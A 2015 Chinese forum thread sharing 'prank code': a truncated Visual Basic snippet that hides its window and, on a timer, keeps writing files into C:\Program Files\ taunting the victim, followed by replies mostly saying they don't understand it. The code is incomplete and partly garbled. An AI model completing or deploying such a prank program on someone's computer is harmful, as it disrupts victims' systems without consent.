网站 › 『编程语言区』 › 整人代码

未来未来 发表于 2015-8-2 12:07

整人代码

vbs整人代码
代码如下：
复制代码 代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量，其中“count”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感觉的不错吧"
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1，以便产生不同的文件名
count = count   1
'产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c

a120019608 发表于 2015-8-2 12:31

我都不整人-看我这么善良！

lyx1104 发表于 2015-8-2 12:33

没懂什么意思 是怎么用的。

zxwanghongyi 发表于 2015-8-2 12:33

同楼上！

笑你像狗。 发表于 2015-8-2 12:36

怎么用啊？

ABCD 发表于 2015-8-2 12:48

瞧瞧,没太明白{:301_1003:}

网络很鬼 发表于 2015-8-2 12:49

简直66666666666666666666

维多利加 发表于 2015-8-2 12:58

表示本小白鼠看不懂

DDDear 发表于 2015-8-2 13:08

嗯嗯不错，想法很好，思路很清晰，就是一点没看懂

小太阳0708 发表于 2015-11-12 16:19

看不懂。

查看完整版本: 整人代码